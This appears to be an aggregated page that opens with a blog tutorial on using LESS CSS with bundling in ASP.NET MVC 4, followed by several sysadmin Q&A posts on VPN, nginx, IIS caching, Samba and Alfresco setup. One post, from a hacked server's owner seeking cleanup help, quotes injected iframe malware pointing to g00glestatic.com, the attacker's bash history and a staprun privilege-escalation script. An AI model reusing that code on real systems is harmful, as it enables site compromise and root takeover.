  Welcome to part two in my series covering the LESS CSS language.  In the first post, I covered the two major CSS precompiled languages - LESS and SASS to a small extent, iterating over some of the features that you could expect to find in them.  In this post, I will go a little further in depth into the setup and execution of using the LESS framework. Introduction It really doesn’t take too much to get LESS working in your project.  The basic workflow will be including the necessary translator in your project, defining bundles for the LESS files, add the necessary code to your layouts.cshtml file, and finally add in all your necessary styles to the LESS files!  Lets get started… New Project Just like all great experiments in Visual Studio, start up a File > New Project, and create a new MVC 4 Web Application.  The Base Package After you have the new project spun up, use the Nuget Package Manager to install the Bundle Transformer: LESS package. This will take care of installing the main translator that we will be using for LESS code (dotless which is another Nuget package), as well as the core framework for the Bundle Transformer library.  The installation will come up with some instructions in a readme file on how to modify your web.config to handle all your *.less requests through the Bundle Transformer, which passes the translating onto dotless. Where To Put These LESS Files?! This step isn’t really a requirement, however I find that I don’t like how ASP.Net MVC just has a content directory where they store CSS, content images, css images….  In my project, I went ahead and created a new directory just for styles – LESS files, CSS files, and images that are only referenced in LESS or CSS.  Ignore the MVC directory as this was my testbed for another project I was working on at the same time.  As you can see here, I have: A top level directory for images which contains only images used in a page A top level directory for scripts A top level directory for Styles A few directories for plugins I am using (Colrizr, JQueryUI, Farbtastic) Multiple *.less files for different functions (I’ll go over these in a minute) I find that this layout offers the best separation of content types.  Bring Out Your Bundles! The next thing that we need to do is add in the necessary code for the bundling of these LESS files.  Go ahead and open your BundleConfig.cs file, usually located in the /App_Start/ folder of the project.  As you will see in a minute, instead of using the method Microsoft does in the base MVC 4 project, I change things up a bit.  Define Constants The first thing I do is define constants for each of the virtual paths that will be used in the bundler: The main reason is that I hate magic strings in my program, so the fact that you first defined a virtual path in the BundleConfig file, and then used that path in the _Layout.cshtml file really irked me. Add Bundles to the BundleCollection Next, I am going to define the bundles for my styles in my AddStyleBundles method: That is all it takes to get all of my styles in play with LESS.  The CssTransformer and NullOrderer types come from the Bundle Transformer we grabbed earlier.  If we didn’t use that package, we would have to write our own function (not too hard, but why do it if it’s been done). I use the site.less file as my main hub for LESS - I will cover that more in the next section. Add Bundles To Layout.cshtml File With the constants in the BundleConfig file, instead of having to use the same magic string I defined for the bundle virtual path, I am able to do this: Notice here that besides the RenderSection magic strings (something I am working on in another side project), all of the bundles are now based on const strings.  If I need to change the virtual path, I only have to do it in one place.  Nifty! Get Started! We are now ready to roll!  As I said in the previous section, I use the site.less file as a central hub for my styles: As seen here, I have a reset.css file which is a simple CSS reset.  Next, I have created a file for managing all my color variables – colors.less: Here, you can see some of the standards I started to use, in this case for color variables.  I define all color variables with the @col prefix.  Currently, I am going for verbose variable names. The next file imported is my font.less file that defines the typeface information for the site: Simple enough.  A couple of imports for fonts from Google, and then declaring variables for use throughout LESS.  I also set up the heading sizes, margins, etc..  You can also see my current standardization for font declaration strings – @font. Next, I pull in a mixins.less file that I grabbed from the Twitter Bootstrap library that gives some useful parameterized mixins for use such as border-radius, gradient, box-shadow, etc… The common.less file is a file that just contains items that I will be defining that can be used across all my LESS files.  Kind of like my own mixins or font-helpers: Finally I have my layout.less file that contains all of my definitions for general site layout – width, main/sidebar widths, footer layout, etc: That’s it!  For the rest of my one off definitions/corrections, I am currently putting them into the site.less file beneath my original imports Note Probably my favorite side effect of using the LESS handler/translator while bundling is that it also does a CSS checkup when rendering…  See, when your web.config is set to debug, bundling will output the url to the direct less file, not the bundle, and the http handler intercepts the call, compiles the less, and returns the result.  If there is an error in your LESS code, the CSS file can be returned empty, or may have the error output as a comment on the first couple lines. If you have the web.config set to not debug, then if there is an error in your code, you will end up with the usual ASP.Net exception page (unless you catch the exception of course), with information regarding the failure of the conversion, such as brace mismatch, undefined variable, etc…  I find it nifty. Conclusion This is really just the beginning.  LESS is very powerful and exciting!  My next post will show an actual working example of why LESS is so powerful with its functions and variables…  At least I hope it will!  As for now, if you have any questions, comments, or suggestions on my current practice, I would love to hear them!  Feel free to drop a comment or shoot me an email using the contact page.  In the mean time, I plan on posting the final post in this series tomorrow or the day after, with my side project, as well as a whole base ASP.Net MVC4 templated project with LESS added in it so that you can check out the layout I have in this post.  Until next time…

• Mass targeted malware installed - g00glestatic.com [closed]

  - by Silver89

  Possible Duplicate: My server’s been hacked EMERGENCY I run a webserver which over the last few days seems to have become infected with malware that tries to include content from "http://g00glestatic.com/s.js" It appears the attacker gained access to one of the user accounts (not root), made a few changes, added a few files and ran a few bash commands. These changes stuck out clearly to me because it is not a shared server and I am the only person with access through very secure passwords. The php/javascript code that was added .php files, this code was added: #9c282e# if(!$srvc_counter) { echo "<script type=\"text/javascript\" src=\"http://g00glestatic.com/s.js\"></script>"; $srvc_counter = true;} #/9c282e# .js files, this code was added: /*9c282e*/ var _f = document.createElement('iframe'),_r = 'setAttribute'; _f[_r]('src', 'http://g00glestatic.com/s.js'); _f.style.position = 'absolute';_f.style.width = '10px'; _f[_r]('frameborder', navigator.userAgent.indexOf('bf3f1f8686832c30d7c764265f8e7ce8') + 1); _f.style.left = '-5540px'; document.write('<div id=\'MIX_ADS\'></div>'); document.getElementById('MIX_ADS').appendChild(_f); /*/9c282e*/ The bash command taken from .bash_history (Some usernames/passwords have been subbed) su -c id $replacedPassword id; id; sudo id; replacedPassword id; cd /home/replacedUserId1; chmod +x .sess_28e2f1bc755ed3ca48b32fbcb55b91a7; ./.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; rm /home/replacedUserId1/.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; id; cd /home/replacedUserId1; chmod +x .sess_05ee5257fed0ac8e0f12096f4c3c0d20; ./.sess_05ee5257fed0ac8e0f12096f4c3c0d20; rm /home/replacedUserId1/.sess_05ee5257fed0ac8e0f12096f4c3c0d20; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; ./.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; rm /home/replacedUserId1/.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; id; kill -9 $$;; kill -9 $$;; kill -9 $$; The above seems to move files added to the public_html to the level above? I also have all 4 of the files that were added: .sess_28e2f1bc755ed3ca48b32fbcb55b91a7 .sess_05ee5257fed0ac8e0f12096f4c3c0d20 .sess_bfa542fc2578cce68eb373782c5689b9 .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e Of those four above files, three are none viewable in notepad++ and display null characters, whereas sess_fb19dfb52ed4a3ae810cd4454ac6ef1e consists of: #!/bin/sh export PATH=$PATH:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin; export LC_ALL=en_US.UTF-8 LC_COLLATE=en_US.UTF-8 LC_CTYPE=en_US.UTF-8 LANG=en_US.UTF-8 LANGUAGE=en_US.UTF-8 export TERM=linux echo -n "-> checking staprun: "; if which staprun 2>&1 | grep -q "no $1"; then flag=1 elif [ -z "`which $1 2>&1`" ]; then flag=1; fi if [ "$flag" = "1" ]; then echo "no staprun, exiting"; exit; else echo "found"; echo "-> trying to exploit... "; printf "install uprobes /bin/sh" > ololo.conf; MODPROBE_OPTIONS="-C ololo.conf" staprun -u ololo rm -f ololo.conf fi Other Noticeable Edits Any files that contain: ([.htaccess]|[index|header|footer].php|[*.js]) will have been modified and all system file and directory permissions will have been changed to: x--x--x My steps to remove this malware re uploaded original php/js files to revert any changes Changed all user passwords Modified hosts.allow to a static ip so that only I have access Removed the above 4 files and checked all modified file dates within that directory to check for any other recent modifications, none can be found Conclusion I'm hoping that as they did not have root access, any changes they wished to make higher up failed and they were only able to display an iframe on the site for a short amount of time? What else do I need to look for to check the malware infection has not spread? Second Conclusion This malware sinks too deep to 'clean', if you get infected I recommend a server nuke and rebuild from backups with increased security. Possibility It's possible that Filezilla ftp passwords were stolen through a trojan as they're unfortunately stored unencrypted. However Trend Micro Titanium has not found any. The settings box to disable passwords being saved has now been ticked, I also recommend that you take this action.

• Using pfSense, OpenVPN Connects but Still Can't See the Network

  - by nicorellius

  I am having an OpenVPN issue. I have a pfSense box at home configured to allow traffic through a VPN tunnel. The client computer is Windows XP Home, behind a standard Comcast connection and a Netgear wireless router. I use OpenVPN to access my work network (from where I am trying to get out of in this post) from home (with an XP Pro machine behind pfSense), and this works fine. The client config is similar but has the changes specific to my setup... Here is my XP Home config: client dev tun proto tcp remote pfsense.*.org 1194 (starred out by me) resolv-retry infinite nobind persist-key persist-tun ca ca.crt cert client.crt key client.key ns-cert-type server comp-lzo verb 3 When I launch the OpenVPN GUI, the Tunnel TAP network connection turns red, and I can right-click that to connect to the server. Everything seems to work fine until I browse for the actual network. The Tunnel TAP connection turns green and it says connected to 10.1.1.6 (I have tried different IP pools here too with no luck). I can see the internal network fine, but my home network behind pfSense is not there. I have tried browsing there by using Tools Map Network Drive, using the browser, with no success. When I open the command line on the client and use the ipconfig -all command, I get the following: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : TAP-Win32 Adapter V9 Physical Address. . . . . . . . . : *** (starred out by me) Dhcp Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes IP Address. . . . . . . . . . . . : 10.1.1.6 Subnet Mask . . . . . . . . . . . : 255.255.255.252 Default Gateway . . . . . . . . . : DHCP Server . . . . . . . . . . . : 10.1.1.5 Lease Obtained. . . . . . . . . . : Monday, March 15, 2010 1:18:37 PM Lease Expires . . . . . . . . . . : Tuesday, March 15, 2011 1:18:37 PM I noticed that the default gateway is not present. Could this be my problem? I am still relatively new to firewalls, VPN, and network configuration so I'm sure I am messing up something simple. Oh yah, I should note that I have firewall rules configured for pfSense to allow traffic through the WAN and the LAN. At first there was just the WAN firewall rule, because that is what I got from the literature I was reading. I then created a LAN rule as well, but I'm not sure if this was correct. Neither way works, though. Screen shots below: Any help is much appreciated.

• Unable to set nginx to serve my staging website

  - by user100778

  I'm having some troubles setting up nginx to serve my staging website. What I did is change the server_name but for some reasons it just doesn't work. The url scheme is "domain.foo" is production, "staging.domain.foo" is staging, "foobar.domain.foo" is a web service, "foobar.staging.domain.foo" is the staging version of the same webserver, ".domain.foo" is routed to serve some s3 static HTML, ".staging.domain.foo" is routed to serve some s3 static HTML in another bucket. All production urls work and are correctly configured, all staging urls doesn't work. Here is my conf file. You will see some duplication, I will gladly accept any correction/optimization, I'm a coder and configuring servers is definitely not my thing (but I'm eager to learn and improve...). server { listen 80; ## listen for ipv4 server_name "domain.foo" "www.domain.foo" default_server; access_log /var/log/nginx/access.log; client_max_body_size 5M; location / { proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; location ~* \.(jpg|jpeg|gif|png|ico|css|bmp|js|html)$ { access_log off; expires max; root /home/foo/Foo/current/public; break; } if ($host ~ 'www.domain.foo') { rewrite ^/(.*)$ http://domain/foo/$1 permanent; } proxy_pass http://production; break; } } server { listen 80; server_name "staging.domain.foo"; access_log /var/log/nginx/access.staging.log; error_log /var/log/nginx/error.staging.log; client_max_body_size 5M; location / { proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; proxy_pass http://staging; break; } } server { listen 80; ## listen for ipv4 server_name "foobar.domain.foo"; access_log /var/log/nginx/access.log; location / { proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; if ($host = 'foobar.domain.foo') { proxy_pass http://foobar; break; } } } server { listen 80; ## listen for ipv4 server_name foobar.staging.domain.foo; location / { proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; proxy_pass http://foobar_staging; break; } } server { listen 80; server_name "~^(.+)\.domain\.foo$"; location / { proxy_intercept_errors on; error_page 404 = http://domain.foo/404; set $subdomain $1; rewrite /$ "/$subdomain/index.html" break; rewrite ^ /$subdomain$request_uri? break; proxy_pass http://bucket.domain.foo.s3.amazonaws.com; } } server { listen 80; server_name "~^(.+)\.staging\.domain\.foo$"; location / { proxy_intercept_errors on; set $subdomain $1; rewrite /$ "/$subdomain/index.html" break; rewrite ^ /$subdomain$request_uri? break; proxy_pass http://bucket.staging.domain.foo.s3.amazonaws.com; } } upstream production { server 111.255.111.110:8000; server 111.255.111.110:8001; server 111.255.111.110:8002; server 111.255.111.110:8003; } upstream staging { server 222.255.222.222:8000; server 222.255.222.222:8001; } upstream foobar { server 111.255.222.165:9000; server 111.255.222.165:9001; server 111.255.222.165:9002; } upstream foobar_staging { server 222.255.222.222:9000; } What happens now when I point my browser to staging.domain.foo is that it hangs. Can't find anything in the logs, but for example the access.staging.log and errors.staging.log are created. Anybody has an idea? :)

• make IIS 7.5 cache static content files over diferent pages

  - by Achilles

  On a Windows 2008 R2, using DNS and IIS I've established my development test server; i.e. I'll have a web application that I can browse on http://test.dev I've moved all the static content files like images, js files and css files into another application which is visible on http://cdn.test.dev test.dev, uses cdn.test.dev urls like http://cdn.test.dev/js/jquery.js to load js, css and images. When I first load "~/" of test.dev, all files will load with a response code of 200; when I press F5 in Firefox, all files, except the "~/default.aspx", will load with 304 response code; but pressing Ctrl+F5 loads them again with a 200 code; if I browse another url like "~/pages/" in test.dev, all of those static files will reload with a 200 code... Is this normal or I'm doing something wrong? Actually, I'm looking for a behavior like this: I want the client to load http://cdn.test.dev/js/jquery.js, only once. I want the client's browser to use this jquery.js file, from cache, in all other pages of test.dev Is this possible? This is the web.config file I have in the root directory of cdn.test.dev: <configuration> <system.webServer> <caching> <profiles> <add extension=".png" policy="CacheUntilChange" varyByHeaders="User-Agent" location="Client" /> <add extension=".gif" policy="CacheUntilChange" varyByHeaders="User-Agent" location="Client" /> <add extension=".jpg" policy="CacheUntilChange" varyByHeaders="User-Agent" location="Client" /> <add extension=".js" policy="CacheUntilChange" varyByHeaders="User-Agent" location="Client" /> <add extension=".css" policy="CacheUntilChange" varyByHeaders="User-Agent" location="Client" /> <add extension=".axd" kernelCachePolicy="CacheUntilChange" varyByHeaders="User-Agent" location="Client" /> </profiles> </caching> <httpProtocol allowKeepAlive="true"> <customHeaders> <add name="Cache-Control" value="public, max-age=31536000" /> </customHeaders> </httpProtocol> <validation validateIntegratedModeConfiguration="false" /> <modules runAllManagedModulesForAllRequests="true"> <remove name="RadUploadModule" /> <remove name="RadCompression" /> <add name="RadUploadModule" type="Telerik.Web.UI.RadUploadHttpModule" preCondition="integratedMode" /> <add name="RadCompression" type="Telerik.Web.UI.RadCompression" preCondition="integratedMode" /> </modules> <handlers> <remove name="ChartImage_axd" /> <remove name="Telerik_Web_UI_SpellCheckHandler_axd" /> <remove name="Telerik_Web_UI_DialogHandler_aspx" /> <remove name="Telerik_RadUploadProgressHandler_ashx" /> <remove name="Telerik_Web_UI_WebResource_axd" /> <add name="ChartImage_axd" path="ChartImage.axd" type="Telerik.Web.UI.ChartHttpHandler" verb="*" preCondition="integratedMode" /> <add name="Telerik_Web_UI_SpellCheckHandler_axd" path="Telerik.Web.UI.SpellCheckHandler.axd" type="Telerik.Web.UI.SpellCheckHandler" verb="*" preCondition="integratedMode" /> <add name="Telerik_Web_UI_DialogHandler_aspx" path="Telerik.Web.UI.DialogHandler.aspx" type="Telerik.Web.UI.DialogHandler" verb="*" preCondition="integratedMode" /> <add name="Telerik_RadUploadProgressHandler_ashx" path="Telerik.RadUploadProgressHandler.ashx" type="Telerik.Web.UI.RadUploadProgressHandler" verb="*" preCondition="integratedMode" /> <add name="Telerik_Web_UI_WebResource_axd" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" preCondition="integratedMode" /> </handlers> <security> <requestFiltering> <requestLimits maxAllowedContentLength="10485760" /> </requestFiltering> </security> <staticContent> <clientCache cacheControlMode="UseExpires" httpExpires="Wed, 01 Jan 2020 00:00:00 GMT"/> </staticContent> </system.webServer> <appSettings /> <system.web> <compilation debug="false" targetFramework="4.0" /> <pages> <controls> <add tagPrefix="telerik" namespace="Telerik.Web.UI" assembly="Telerik.Web.UI" /> </controls> </pages> <httpHandlers> <add path="ChartImage.axd" type="Telerik.Web.UI.ChartHttpHandler" verb="*" validate="false" /> <add path="Telerik.Web.UI.SpellCheckHandler.axd" type="Telerik.Web.UI.SpellCheckHandler" verb="*" validate="false" /> <add path="Telerik.Web.UI.DialogHandler.aspx" type="Telerik.Web.UI.DialogHandler" verb="*" validate="false" /> <add path="Telerik.RadUploadProgressHandler.ashx" type="Telerik.Web.UI.RadUploadProgressHandler" verb="*" validate="false" /> <add path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" validate="false" /> </httpHandlers> <httpModules> <add name="RadUploadModule" type="Telerik.Web.UI.RadUploadHttpModule" /> <add name="RadCompression" type="Telerik.Web.UI.RadCompression" /> </httpModules> <httpRuntime maxRequestLength="10240" /> </system.web> </configuration> and this is the resulting response header for http://cdn.test.dev/css/global.css: Cache-Control: private,public, max-age=31536000 Content-Type: text/css Content-Encoding: gzip Expires: Wed, 01 Jan 2020 00:00:00 GMT Last-Modified: Mon, 06 Sep 2010 08:53:06 GMT Accept-Ranges: bytes Etag: "0454eca04dcb1:0" Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Mon, 06 Sep 2010 14:57:08 GMT Content-Length: 4495

• Windows 7 Machine Makes Router Drop -All- Wireless Connections

  - by Hammer Bro.

  Some background: My home network consists of my Desktop, a two-month old Windows 7 (x64) machine which is online most frequently (N-spec), as well as three other Windows XP laptops (all G) that only connect every now and then (one for work, one for Netflix, and the other for infrequent regular laptop uses). I used to have a Belkin F5D8236-4 wireless router, and everything worked great. A week ago, however, I found out that the Belkin absolutely in no way would establish a VPN connection, something that has become important for work. So I bought a Netgear WNR3500v2/U/L. The wireless was acting a little sketchy at first for just the Windows 7 machine, but I thought it had something to do with 802.11N and I was in a hurry so I just fished up an ethernet cable and disabled the computer's wireless. It has now become apparent, though, that whenever the Windows 7 machine is connected to the router, all wireless connections become unstable. I was using my work laptop for a solid six hours today with no trouble, having multiple SSH connections open over VPN and streaming internet radio in the background. Then, within two minutes of turning on this Windows 7 box, I had lost all connectivity over the wireless. And I was two feet away from the router. The same sort of thing happens on all of the other laptops -- Netflix can be playing stuff all weekend, but if I come up here and do things on this (W7) computer, the streaming will be dead within ten minutes. So here are my basic observations: If the Windows 7 machine is off, then all connections will have a Signal Strength of Very Good or Excellent and a Speed of 48-54 Mbps for an indefinite amount of time. Shortly after the Windows 7 machine is turned on, all wireless connections will experience a consistent decline in Speed down to 1.0 Mbps, eventually losing their connection entirely. These machines will continue to maintain 70% signal strength, as observed by themselves and router. Once dropped, a wireless connection will have difficulty reconnecting. And, if a connection manages to become established, it will quickly drop off again. The Windows 7 machine itself will continue to function just fine if it's using a wired connection, although it will experience these same issues over the wireless. All of the drivers and firmwares are up to date, and this happened both with the stock Netgear firmware as well as the (current) DD-WRT. What I've tried: Making sure each computer is being assigned a distinct IP. (They are.) Disabling UPnP and Stateful Packet Inspection on the router. Disabling Network Sharing, SSDP Discovery, TCP/IP NetBios Helper and Computer Browser services on the Windows 7 machine. Disabling QoS Packet Scheduler, IPv6, and Link Layer Topology Discovery options on my ethernet controller (leaving only Client for Microsoft Networks, File and Printer Sharing, and IPv4 enabled). What I think: It seems awfully similar to the problems discussed in detail at http://social.msdn.microsoft.com/Forums/en/wsk/thread/1064e397-9d9b-4ae2-bc8e-c8798e591915 (which was both the most relevant and concrete information I could dig up on the internet). I still think that something the Windows 7 IP stack (or just Operating System itself) is doing is giving the router fits. However, I could be wrong, because I have two key differences. One is that most instances of this problem are reported as the entire router dying or restarting, and mine still works just fine over the wired connection. The other is that it's a new router, tested with both the factory firmware and the (I assume) well-maintained DD-WRT project. Even if Windows 7 is still secretly sending IPv6 packets or the TCP Window Scaling implementation that I hear Vista caused some trouble with (even though I've tried my best to disable anything fancy), this router should support those functions. I don't want to get a new or a replacement router unless someone can convince me that this is a defective unit. But the problem seems too specific and predictable by my instincts to be a hardware hiccup. And I don't want to deal with the inevitable problems that always seem to take half a day to resolve when getting a new router, since I'm frantically working (including tomorrow) to complete a project by next week's deadline. Plus, I think in the worst case scenario, I could keep this router connected directly to the modem, disable its wireless entirely, and connect the old Belkin to it directly. That should allow me to still use VPN (although I'll have to plug my work laptop directly into that router), and then maintain wireless connections for all of the other computers. But that feels so wrong to me. Anyone have any ideas what the cause and possible solution could be? Clarifications: The Windows 7 machine is directly connected via an ethernet cable to the router for everything above. But while it is online, all other computers' wireless connections become unusable. It is not an issue of signal strength or interference -- no other devices within scanning range are using Channel 1, and the problem will affect computers that are literally feet away from the router with 95% signal strength.

• Credentials can not be delegated - Alfresco Share

  - by leftcase

  I've hit a brick wall configuring Alfresco 4.0.d on Redhat 6. I'm using Kerberos authentication, it seems to be working normally, and single sign on is working on the main alfresco app itself. I've been through the configuration steps to get the share app working, but try as I may, I keep getting this error in catalina.out each time a browser accesses http://server:8080/share along with a 'Windows Security' password box. WARN [site.servlet.KerberosSessionSetupPrivilegedAction] credentials can not be delegated! Here's what I've done so far: Using AD users and computers, selected the alfrescohttp account, and selected 'trust this user for delegation to any service (Kerberos only). Copied /opt/alfresco-4.0.d/tomcat/shared/classes/alfresco/web-extension/share-config-custom.xml.sample to share-config-custom.xml and edited like this: <config evaluator="string-compare" condition="Kerberos" replace="true"> <kerberos> <password>*****</password> <realm>MYDOMAIN.CO.UK</realm> <endpoint-spn>HTTP/[email protected]</endpoint-spn> <config-entry>ShareHTTP</config-entry> </kerberos> </config> <config evaluator="string-compare" condition="Remote"> <remote> <keystore> <path>alfresco/web-extension/alfresco-system.p12</path> <type>pkcs12</type> <password>alfresco-system</password> </keystore> <connector> <id>alfrescoCookie</id> <name>Alfresco Connector</name> <description>Connects to an Alfresco instance using cookie-based authentication</description> <class>org.springframework.extensions.webscripts.connector.AlfrescoConnector</class> </connector> <endpoint> <id>alfresco</id> <name>Alfresco - user access</name> <description>Access to Alfresco Repository WebScripts that require user authentication</description> <connector-id>alfrescoCookie</connector-id> <endpoint-url>http://localhost:8080/alfresco/wcs</endpoint-url> <identity>user</identity> <external-auth>true</external-auth> </endpoint> </remote> </config> Setup the /etc/krb5.conf file like this: [logging] default = FILE:/var/log/krb5libs.log kdc = FILE:/var/log/krb5kdc.log admin_server = FILE:/var/log/kadmind.log [libdefaults] default_realm = MYDOMAIN.CO.UK default_tkt_enctypes = rc4-hmac default_tgs_enctypes = rc4-hmac forwardable = true proxiable = true [realms] MYDOMAIN.CO.UK = { kdc = mydc.mydomain.co.uk admin_server = mydc.mydomain.co.uk } [domain_realm] .mydc.mydomain.co.uk = MYDOMAIN.CO.UK mydc.mydomain.co.uk = MYDOMAIN.CO.UK /opt/alfresco-4.0.d/java/jre/lib/security/java.login.config is configured like this: Alfresco { com.sun.security.auth.module.Krb5LoginModule sufficient; }; AlfrescoCIFS { com.sun.security.auth.module.Krb5LoginModule required storeKey=true useKeyTab=true keyTab="/etc/alfrescocifs.keytab" principal="cifs/server.mydomain.co.uk"; }; AlfrescoHTTP { com.sun.security.auth.module.Krb5LoginModule required storeKey=true useKeyTab=true keyTab="/etc/alfrescohttp.keytab" principal="HTTP/server.mydomain.co.uk"; }; com.sun.net.ssl.client { com.sun.security.auth.module.Krb5LoginModule sufficient; }; other { com.sun.security.auth.module.Krb5LoginModule sufficient; }; ShareHTTP { com.sun.security.auth.module.Krb5LoginModule required storeKey=true useKeyTab=true keyTab="/etc/alfrescohttp.keytab" principal="HTTP/server.mydomain.co.uk"; }; And finally, the following settings in alfresco-global.conf authentication.chain=kerberos1:kerberos,alfrescoNtlm1:alfrescoNtlm kerberos.authentication.real=MYDOMAIN.CO.UK kerberos.authentication.user.configEntryName=Alfresco kerberos.authentication.cifs.configEntryName=AlfrescoCIFS kerberos.authentication.http.configEntryName=AlfrescoHTTP kerberos.authentication.cifs.password=****** kerberos.authentication.http.password=***** kerberos.authentication.defaultAdministratorUserNames=administrator ntlm.authentication.sso.enabled=true As I say, I've hit a brick wall with this and I'd really appreciate any help you can give me!

• Can connect to Samba server but cannot access shares?

  - by jlego

  I have setup a stand-alone box running Fedora 16 to use as a file-sharing and web development server. Needs to be able to share files with a PC running Windows 7 and a Mac running OSX Snow Leopard. I've setup Samba using the Samba configuration GUI tool. Added users to Fedora and connected them as Samba users (which are the same as the Windows and Mac usernames and passwords). The workgroup name is the same as the Windows workgroup. Authentication is set to User. I've allowed Samba and Samba client through the firewall and set the ethernet to a trusted port in the firewall. Both the Windows and Mac machines can connect to the server and view the shares, however when trying to access the shares, Windows throws error 0x80070035 " Windows cannot access \SERVERNAME\ShareName." Windows user is not prompted for a username or password when accessing the server (found under "Network Places"). This also happens when connecting with the IP rather than the server name. The Mac can also connect to the server and see the shares but when choosing a share gives the error "The original item for ShareName cannot be found." When connecting via IP, the Mac user is prompted for username and password, which when authenticated gives a list of shares, however when choosing a share to connect to, the error is displayed and the user cannot access the share. Since both machines are acting similarly when trying to access the shares, I assume it is an issue with how Samba is configured. smb.conf: [global] workgroup = workgroup server string = Server log file = /var/log/samba/log.%m max log size = 50 security = user load printers = yes cups options = raw printcap name = lpstat printing = cups [homes] comment = Home Directories browseable = no writable = yes [printers] comment = All Printers path = /var/spool/samba browseable = yes printable = yes [FileServ] comment = FileShare path = /media/FileServ read only = no browseable = yes valid users = user1, user2 [webdev] comment = Web development path = /var/www/html/webdev read only = no browseable = yes valid users = user1 How do I get samba sharing working? UPDATE: Before this box I had another box with the same version of fedora installed (16) and samba working for these same computers. I started up the old machine and copied the smb.conf file from the old machine to the new one (editing the share definitions for the new shares of course) and I still get the same errors on both client machines. The only difference in environment is the hardware and the router. On the old machine the router received a dynamic public IP and assigned dynamic private IPs to each device on the network while the new machine is connected to a router that has a static public IP (still dynamic internal IPs though.) Could either one of these be affecting Samba? UPDATE 2: As the directory I am trying to share is actually an entire internal disk, I have tried to things: 1.) changing the owner of the mounted disk from root to my user (which is the same username as on the Windows machine) 2.) made a share that only included one of the folders on the disk instead of the entire disk with my user again as the owner. Both tests failed giving me the same errors regarding the network address. UPDATE 3: Not sure exactly what I did, but now whenever I try to connect to the share on the Windows 7 client I am prompted for my username and password. When I enter the correct credentials I get an access denied message. However I did notice that under the login box "domain: WINDOWS-PC-NAME" is listed. I believe this could very well be the problem. Any suggestions? UPDATE 4: So I've completely reinstalled Fedora and Samba now. I've created a share on the first harddrive (one fedora is installed on) and I can access that fine from Windows. However when I try to share any data on the second disk, I am receiving the same error. This I believe is the problem. I think I need to change some things in fstab or fdisk or something. UPDATE 5: So in fstab I mapped the drive to automount in a folder which works correctly. I also added the samba_share_t SElinux label to the mountpoint directory which now allows me to access the shares on the Windows machine, however I cannot see any of the files in the directory on the windows machine. (They are there, I can see them in the fedora file browser locally) UPDATE 6: Figured it out. See answer below

• How to convert html textfield/area data to server-side txt file? [closed]

  - by olijake

  How can I make a script that will convert the text/data in a html textfield/textarea and send it to the server, which then saves it as a .txt file for storage? NOTE: I am hosting a website(for testing purposes) using Apache 2.2 on a Windows 7 machine. I downloaded PHP version 5.4.7, but have not yet installed on my server yet (not sure if I will need it, but also not sure how to install it). 1st problem: Saving text to server Html page/section with title textfield, text textarea, and submit button. You would enter a title, the text/notes you need in the textfield, then press the submit button to have it store the text in the textarea, as a .txt file on the server called .txt. 2nd problem: Opening text from server Html with list of all txt files OR textfield for entering in title, then submit button to send the title of the requested .txt file to the server, which would then load it up on the page. Here is what I have so far: (let me know if there is something that I should change or if something just isn't correct in the index.html code I have right now.) <!DOCTYPE HTML> <html> <head> <title>Insert Title</title> <meta http-equiv="Content-Type" content="Text/HTML; charset=UTF-8"/> </head> <body> <form method="post" action="save.INSERT_FILETYPE" name="textfile" enctype="multipart/form-data"> <input type="text" name="title"><br/> <textarea rows="20" cols="100" id="text" name="text"></textarea><br/> <input type="submit" name="submit" value="Submit Text to Server"> </form><br/> <hr style="width: 100%; height: 4px;"><br/> <form method="post" action="open.INSERT_FILETYPE" name="textfile" enctype="multipart/form-data"> <input type="text" name="title"><br/> <input type="submit" name="submit" value="Submit Txt File Request"> </form><br/> <div>Opened text file displays here or goes on another page</div> </body> </html> I plan on using a server side language/script, but ANYTHING that gets the job done is fine. I already tried looking into using some ASP/jScript/PHP, but have had some trouble implementing it into my server. (ie: getting the modules loaded and telling the server what file types to parse.) I know this may be an extremely easy fix, but then in that case, hopefully you wouldn't mind helping me out a little :). If it turns out that this is MUCH more complicated than I expect, then feel free to let me know that, so I don't waste me time running in circles. I appreciate any help/assistance that you can provide, Thanks, Jake EDIT: Wrong Apache version. In response to the comments/closing of this thread: My question: "How exactly do I install the PHP module on the apache server? and is this even possible? and is this even recommended?" ^ In case I wasn't clear enough already To Clarify: I understand the basics of PHP, I just have trouble with INSTALLING PHP on the apache server. (I have used PHP before, but never successfully on apache (so far...)) For my script I wrote something similar to this already (using fopen() and a few other commands): <?php fopen("notes.txt", "r"); file_put_contents("notes.txt",teststring1); ?> I have used javascript for this task before also (although I prefer using PHP and server-side languages): <script language="javascript"> function WriteToFile(){ var fso = new ActiveXObject("Scripting.FileSystemObject"); var s = fso.CreateTextFile("C:\\NewFile.txt", true); var text=document.getElementById("TextArea1").innerText; s.WriteLine(text); s.WriteLine('***********************'); s.Close(); } </script>

